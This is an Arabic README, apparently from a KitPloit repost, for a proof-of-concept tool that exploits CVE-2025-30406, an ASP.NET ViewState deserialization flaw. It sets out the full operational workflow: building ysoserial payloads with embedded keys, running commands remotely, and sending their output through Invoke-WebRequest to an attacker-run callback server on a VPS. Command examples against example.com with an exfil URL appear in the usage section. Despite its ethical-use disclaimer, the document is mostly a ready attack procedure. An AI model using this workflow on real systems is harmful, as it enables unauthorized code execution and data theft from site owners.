CVE-2025-30406 إثبات المفهوم لاستغلال ViewState

نظرة عامة

هذا نص إثبات المفهوم (PoC) يوضح استغلال إلغاء تسلسل ViewState لثغرة CVE-2025-30406 في تطبيقات ASP.NET. يستخدم ysoserial لإنشاء حمولة ViewState ضارة وإرسالها إلى عنوان URL يحدده المستخدم لتنفيذ أمر معين. للحصول على أفضل النتائج، يمكن تسريب مخرجات الأمر إلى خادم HTTP مخصص (server.py) يعمل على VPS، والذي يعرض النتائج بتنسيق منمق مع طوابع زمنية ومحفزات خضراء ونص إخراج أبيض. هذا النص مخصص لأغراض تعليمية فقط ويجب استخدامه فقط على الأنظمة التي لديك تصريح صريح لإجراء اختبار أمني عليها. الاستخدام غير المصرح به غير قانوني وغير أخلاقي.

تفاصيل الثغرة

• معرف الثغرة: CVE-2025-30406
• الوصف: ثغرة إلغاء تسلسل في معالجة ViewState في ASP.NET تسمح بتنفيذ تعليمات برمجية عن بُعد عند معرفة مفتاح تحقق ومولد صالحين.
• الأنظمة المتأثرة: تطبيقات ASP.NET ذات تكوينات ViewState القابلة للاستغلال.
• المتطلبات الأساسية للاستغلال:
  • الوصول إلى مفتاح تحقق ViewState ومولد صالحين.
  • نقطة نهاية قابلة للاستغلال تقبل معلمات ViewState.

محتويات المستودع

• exploit.py: النص الرئيسي لإثبات المفهوم (PoC) لإنشاء وإرسال حمولة ViewState.
• server.py: خادم HTTP لاستقبال وعرض مخرجات الأوامر المسربة بتنسيق منمق.
• README.md: هذا الملف، مع تعليمات الإعداد والاستخدام.

المتطلبات الأساسية

• Python 3.x
• مكتبة requests (pip install requests)
• ملف ysoserial القابل للتنفيذ (Windows أو ما يعادله لمنصتك)
• نقطة نهاية تطبيق ASP.NET قابلة للاستغلال
• VPS أو خادم لتشغيل server.py (موصى به للتسريب)
• إذن لاختبار النظام المستهدف

التثبيت

1. استنساخ هذا المستودع:
   root@kitploit:~

   git clone https://github.com/yourusername/cve-2025-30406-poc.git
   cd cve-2025-30406-poc
   

2. تثبيت حزمة Python المطلوبة:
   root@kitploit:~

   pip install requests
   

3. تنزيل ysoserial ووضعه في نفس الدليل مع exploit.py أو تحديد مساره:
   • ysoserial GitHub

الإعداد على VPS (موصى به)

لاستقبال مخرجات الأوامر المسربة بتنسيق منمق، قم بتشغيل server.py على VPS:

1. انسخ server.py إلى VPS الخاص بك (مثلاً عبر scp):
   root@kitploit:~

   scp server.py user@your-vps-ip:/home/user/
   

2. تأكد من تثبيت Python 3:
   root@kitploit:~

   sudo apt update && sudo apt install python3 python3-pip
   

3. شغّل الخادم (المنفذ الافتراضي 8000):
   root@kitploit:~

   python3 server.py
   

4. تأكد من أن جدار الحماية في VPS يسمح بحركة المرور الواردة على المنفذ 8000:
   root@kitploit:~

   sudo ufw allow 8000
   

5. لاحظ عنوان IP العام لـ VPS أو نطاقه (مثلاً http://your-vps-ip:8000) لاستخدامه مع العلم -e في exploit.py.

الاستخدام

تشغيل الأداة الاستغلالية

قم بتشغيل exploit.py مع الوسائط المطلوبة. العلم -e اختياري ولكنه موصى به بشدة لتسريب مخرجات الأوامر إلى server.py لعرضها بتنسيق منمق.

python exploit.py -u <target_url> -c <command> [-y <ysoserial_path>] [-e <callback_url>]

الوسائط

• -u, --url: عنوان URL المستهدف (مثلاً http://target.com/page.aspx) [مطلوب]
• -c, --command: الأمر المراد تنفيذه (مثلاً whoami) [مطلوب]
• -y, --ysoserial: مسار ملف ysoserial القابل للتنفيذ (الافتراضي: ./ysoserial.exe) [اختياري]
• -e, --exfil: عنوان URL للاتصال العكسي لتسريب مخرجات الأمر (مثلاً http://your-vps:8000) [اختياري]

أمثلة

1. تشغيل بدون تسريب (تنفيذ أعمى):
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe
   

2. تشغيل مع تسريب إلى VPS يشغّل server.py (موصى به):
   root@kitploit:~

   python exploit.py -u http://example.com/loginpage.aspx -c "whoami" -y ./ysoserial.exe -e http://your-vps:8000
   

تشغيل الخادم

على VPS الخاص بك أو جهازك المحلي، ابدأ تشغيل خادم HTTP لاستقبال المخرجات المسربة:

python3 server.py

سيعرض الخادم مخرجات الأمر مع طوابع زمنية، ومحفز $ أخضر، ونص أبيض لسهولة القراءة.

كيف يعمل

1. نص الاستغلال (exploit.py):
   • يستخدم ysoserial مع مفتاح تحقق ومولد مدمجين لإنشاء حمولة ViewState.
   • إذا تم توفير -e، يتم تغليف الأمر لالتقاط المخرجات وإرسالها إلى عنوان URL للاتصال العكسي عبر Invoke-WebRequest.
   • يرسل الحمولة إلى عنوان URL المستهدف في طلب POST، مضمّنة في معامل __VIEWSTATE.
   • يطبع حالة استجابة الخادم وجزءًا من نص الاستجابة.
2. خادم HTTP (server.py):
   • يستمع لطلبات GET التي تحتوي على مخرجات الأمر.
   • يفك ترميز مسار URL ويقسمه إلى سطور.
   • يطبع كل سطر مع طابع زمني، ومحفز $ أخضر، ونص إخراج أبيض.
   • يستجيب برمز HTTP 200 و "OK".

تحذير الاستخدام الأخلاقي

• هذا النص هو إثبات مفهوم لثغرة CVE-2025-30406 لأغراض تعليمية واختبار أمني مرخص.
• لا تستخدم هذا النص على أنظمة دون إذن صريح من مالك النظام.
• قد يؤدي الاستخدام الخاطئ إلى انتهاك القوانين، بما في ذلك قانون الاحتيال وإساءة استخدام الكمبيوتر (CFAA) في الولايات المتحدة أو قوانين مماثلة في أماكن أخرى.
• احصل دائمًا على موافقة كتابية قبل اختبار أي نظام.
• أبلغ عن الثغرات بمسؤولية من خلال الإفصاح المنسق أو برامج مكافآت الأخطاء.

القيود

• قد يعمل مفتاح التحقق والمولد المدمجان فقط مع تطبيقات محددة قابلة للاستغلال. قد يحتاج المستخدمون إلى قيم خاصة بالتطبيق.
• يستهدف الاستغلال تطبيقات ASP.NET القابلة لاستغلال إلغاء تسلسل ViewState.
• يفترض النص أن الخادم المستهدف يعالج حمولة ViewState بشكل صحيح.
• تعتمد التوافقية عبر المنصات على توفر ysoserial (يعتمد بشكل أساسي على Windows).
• يتطلب التسريب خادمًا يمكن الوصول إليه علنًا لعنوان URL للاتصال العكسي -e.

الترخيص

هذا المشروع مرخص بموجب رخصة MIT. راجع ملف LICENSE للحصول على التفاصيل.

الاتصال

للأسئلة أو الملاحظات، يرجى فتح مشكلة (issue) في هذا المستودع.